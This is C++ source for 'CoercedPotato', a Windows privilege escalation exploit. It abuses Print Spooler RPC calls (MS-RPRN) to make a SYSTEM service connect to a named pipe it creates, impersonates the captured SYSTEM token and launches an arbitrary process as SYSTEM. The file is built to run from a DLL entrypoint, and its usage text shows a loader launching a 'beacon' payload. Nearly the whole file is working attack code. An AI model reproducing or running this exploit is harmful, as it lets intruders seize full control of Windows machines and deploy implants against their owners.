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CoercedPotato.cpp
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CoercedPotato.cpp
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#pragma once
#include <iostream>
#include <Windows.h>
#include <sddl.h>
#include <userenv.h>
#include <thread>
#include <tchar.h>
#include <string>
#include <locale>
#include <functional>
#include <rpc.h>
#include <strsafe.h>
#include <winsdkver.h>
#define _WIN32_WINNT 0x0601
#include <sdkddkver.h>
#include "lib/ms-efsr_h.h"
#include "lib/ms-rprn_h.h"
#include "CoerceFunctions.h"
#include "Arguments.h"
#pragma comment(lib, "RpcRT4.lib")
#pragma comment(lib, "userenv.lib")
#pragma warning( disable : 28251 )
LPWSTR g_pwszProcessName = NULL;
LPWSTR g_pwszCommandLine = NULL;
BOOL g_bInteractWithConsole = false;
struct NamedPipeThreadArgs {
LPWSTR commandLine;
const wchar_t* pipePath;
};
void RealEntrypoint(char* argument_string);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (lpReserved != NULL) {
RealEntrypoint((char*)lpReserved);
}
else {
printf("Error CoercedPotato requires an argument string\n");
}
fflush(stdout);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void handleError(long result) {
wprintf(L"[*] Error code returned : %ld\r\n", result);
if (result == 53) {
wprintf(L" -> [+] Exploit worked, it should execute your command as SYSTEM!\r\n");
}
else if (result == 5) {
wprintf(L" -> [-] Access Denied requiring more privileges, trying another one...\r\n");
}
else if (result == 50) {
wprintf(L" -> [-] RPC function probably not implemented on this system, trying another one...\r\n");
}
else if (result == 0) {
wprintf(L" -> [+] Exploit worked, it should execute your command as SYSTEM!\r\n");
}
else {
wprintf(L" -> [-] Exploit failed, unknown error, trying another function...\r\n");
}
}
BOOL createRPCbind(RPC_BINDING_HANDLE& binding_h)
{
RPC_STATUS status;
RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\\\localhost";
RPC_WSTR bindingString = nullptr;
status = RpcStringBindingCompose(
nullptr, // Address targeted (NULL for local binding)
(RPC_WSTR)L"ncalrpc", // Protocol used
nullptr, // Endpoint (NULL for dynamic binding)
nullptr, // UUID (NULL for dynamic binding)
nullptr, // Options (utilisez nullptr pour les options par d�faut)
&bindingString
);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
return FALSE;
}
status = RpcBindingFromStringBinding(bindingString, &binding_h);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
RpcStringFree(&bindingString);
return FALSE;
}
status = RpcStringFree(&bindingString);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
}
wprintf(L"[+] RPC binding with localhost done \r\n");
return TRUE; // Success
}
// CODE STOLEN FROM https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
BOOL GetSystem(HANDLE hPipe)
{
DWORD g_dwSessionId = 0;
BOOL bResult = FALSE;
HANDLE hSystemToken = INVALID_HANDLE_VALUE;
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
DWORD dwCreationFlags = 0;
LPWSTR pwszCurrentDirectory = NULL;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
if (!ImpersonateNamedPipeClient(hPipe))
{
wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError());
goto cleanup;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
{
wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
goto cleanup;
}
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
goto cleanup;
}
if (g_dwSessionId)
{
if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))
{
wprintf(L"SetTokenInformation() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
goto cleanup;
if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH))
{
wprintf(L"GetSystemDirectory() failed. Error: %d\n", GetLastError());
goto cleanup;
}
if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE))
{
wprintf(L"CreateEnvironmentBlock() failed. Error: %d\n", GetLastError());
goto cleanup;
}
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");
if (!CreateProcessAsUser(hSystemTokenDup, g_pwszProcessName, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
{
wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");
RevertToSelf();
if (!g_bInteractWithConsole)
{
if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, g_pwszProcessName, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
goto cleanup;
}
else
{
wprintf(L" ** Exploit completed **\n\n");
}
}
else
{
wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n");
goto cleanup;
}
}
else
{
wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
else
{
wprintf(L" ** Exploit completed **\n\n");
}
if (g_bInteractWithConsole)
{
fflush(stdout);
WaitForSingleObject(pi.hProcess, INFINITE);
}
bResult = TRUE;
cleanup:
if (hSystemToken)
CloseHandle(hSystemToken);
if (hSystemTokenDup)
CloseHandle(hSystemTokenDup);
if (pwszCurrentDirectory)
free(pwszCurrentDirectory);
if (lpEnvironment)
DestroyEnvironmentBlock(lpEnvironment);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return bResult;
}
DWORD WINAPI launchNamedPipeServer(LPVOID lpParam) {
NamedPipeThreadArgs* args = static_cast<NamedPipeThreadArgs*>(lpParam);
LPWSTR commandLine = args->commandLine;
const wchar_t* pipePath = args->pipePath;
HANDLE hPipe = INVALID_HANDLE_VALUE;
HANDLE hTokenDup = INVALID_HANDLE_VALUE;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = ((HANDLE)(LONG_PTR)-1);
LPWSTR lpName;
lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintfW(lpName, MAX_PATH, pipePath);
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
return -1;
}
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError());
return -1;
}
if ((hPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
wprintf(L"[PIPESERVER] Named pipe '%ls' listening...\n\n", lpName);
ConnectNamedPipe(hPipe, NULL);
wprintf(L"\n[PIPESERVER] A client connected!\n\n");
if (!GetSystem(hPipe)) {
wprintf(L"[PIPESERVER] CreateNamedPipe() failed. Error: %d - ", GetLastError());
}
}
return 0;
}
BOOL createNamedPipe(wchar_t* namedpipe, wchar_t* commandExecuted) {
HANDLE hThread = NULL;
NamedPipeThreadArgs poisonedNamedPipe;
poisonedNamedPipe.pipePath = namedpipe;
poisonedNamedPipe.commandLine = commandExecuted;
hThread = CreateThread(NULL, 0, launchNamedPipeServer, &poisonedNamedPipe, 0, NULL);
wprintf(L"[PIPESERVER] Creating a thread launching a server pipe listening on Named Pipe %s.\r\n", poisonedNamedPipe.pipePath);
return TRUE;
}
long callRprnFunctions(int exploitID, bool force) {
wprintf(L"[MS-RPRN] [*] Attempting MS-RPRN functions...\r\n\n");
long result;
LPWSTR targetedPipeName;
targetedPipeName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(targetedPipeName, MAX_PATH, L"\\\\127.0.0.1/pipe/coerced");
std::function<int()> functions[] = {
[&]() { return callRpcRemoteFindFirstPrinterChangeNotificationEx(targetedPipeName); },
[&]() { return callRpcRemoteFindFirstPrinterChangeNotification(targetedPipeName);
} };
int sizeOfFunctions = sizeof(functions) / sizeof(functions[0]);
if (exploitID == -1) {
wprintf(L"[MS-RPRN] Starting RPC functions fuzzing...\r\n");
for (int i = 0; i < sizeOfFunctions; i++) {
wprintf(L" [MS-RPRN] ");
result = functions[i]();
wprintf(L" [MS-RPRN] ");
handleError(result);
if (result == 0 and !force) {
LocalFree(targetedPipeName);
return 0;
}
}
}
else {
wprintf(L"[MS-RPRN] ");
result = functions[exploitID]();
wprintf(L"[MS-RPRN] ");
handleError(result);
}
LocalFree(targetedPipeName);
if (!force) {
wprintf(L"[MS-RPRN] None of MS-RPRN worked... \r\n\n\n");
}
return -1;
}
BOOL coerce()
{
long result;
handle_t RPCBind;
if (!createRPCbind(RPCBind)) {
wprintf(L"[RPCBIND] An error has occurred during the RPC binding \r\n");
return FALSE;
}
Sleep(500);
result = callRprnFunctions(-1, true) == 0;
return result;
}
void spawn_pipe(std::string stringCommand, std::string stringArg)
{
wchar_t* namedpipe;
size_t maxBufferSize, maxArgSize, maxCommandLineSize = 0;
maxBufferSize = stringCommand.size() + 1;
maxArgSize = stringArg.size() + 1;
maxCommandLineSize = maxBufferSize + maxArgSize;
// convert stringCommand to LPWSTR
const char* charPointer = stringCommand.c_str();
wchar_t* process = new wchar_t[maxBufferSize];
size_t convertedChars = 0;
mbstowcs_s(&convertedChars, process, maxBufferSize, charPointer, maxBufferSize - 1);
g_pwszProcessName = process;
wchar_t* arg = new wchar_t[maxArgSize];
wchar_t* command = new wchar_t[maxCommandLineSize];
convertedChars = 0;
mbstowcs_s(&convertedChars, command, maxCommandLineSize, charPointer, maxBufferSize - 1);
// create commandline arg for CreateProcess*
// commandline = process + arg
if (stringArg != "")
{
charPointer = stringArg.c_str();
maxBufferSize = stringArg.size() + 1;
convertedChars = 0;
mbstowcs_s(&convertedChars, arg, maxArgSize, charPointer, maxArgSize - 1);
wcsncat_s(command, maxCommandLineSize, L" ", 1);
wcsncat_s(command, maxCommandLineSize, arg, wcslen(arg));
g_pwszCommandLine = command;
}
g_bInteractWithConsole = false;
namedpipe = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(namedpipe, MAX_PATH, L"\\\\.\\pipe\\coerced\\pipe\\spoolss");
NamedPipeThreadArgs poisonedNamedPipe;
poisonedNamedPipe.pipePath = namedpipe;
poisonedNamedPipe.commandLine = command;
launchNamedPipeServer(&poisonedNamedPipe);
}
void RealEntrypoint(char* argument_string) {
try {
Arguments args = Arguments(argument_string);
if (args.Action == "spawn")
{
spawn_pipe(args.ProcessName, args.Argument);
}
else if (args.Action == "coerce")
{
coerce();
}
} catch (const std::invalid_argument&) {
std::cout << "Spawn Usage: CoercePotato spawn process_path optional_arg_for_process" << std::endl;
std::cout << "Spawn Usage: CoercePotato coerce" << std::endl;
std::cout << "Example:" << std::endl;
std::cout << "\tCoercePotato spawn C:\\Windows\\Temp\\loader.exe C:\\Windows\\Temp\\beacon.bin" << std::endl;
std::cout << "\tCoercePotato coerce" << std::endl;
std::cout << std::flush;
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Args invalid\n");
return -1;
}
RealEntrypoint(argv[1]);
}
/** ALL FUNCTIONS USEFUL FOR RPC INTERFACES **/
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
// Taken from https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/main.cpp
handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
RPC_STATUS RpcStatus;
RPC_WSTR StringBinding;
handle_t BindingHandle;
WCHAR ServerName[MAX_PATH + 1];
DWORD i;
if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {
ServerName[0] = ServerName[1] = '\\';
i = 2;
while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
ServerName[i] = lpStr[i];
i++;
}
ServerName[i] = 0;
}
else {
return FALSE;
}
RpcStatus = RpcStringBindingComposeW(
(RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB",
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)ServerName,
(RPC_WSTR)L"\\pipe\\spoolss",
NULL,
&StringBinding);
if (RpcStatus != RPC_S_OK) {
return(0);
}
RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
RpcStringFreeW(&StringBinding);
if (RpcStatus != RPC_S_OK) {
wprintf(L"[-] An error has occurred during STRING_HANDLE_bind()...\r\n");
return(0);
}
return(BindingHandle);
}
void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
RPC_STATUS RpcStatus;
RpcStatus = RpcBindingFree(&BindingHandle);
if (RpcStatus == RPC_S_INVALID_BINDING) wprintf(L"[-] An error has occurred during STRING_HANDLE_unbind()...\r\n");
return;
}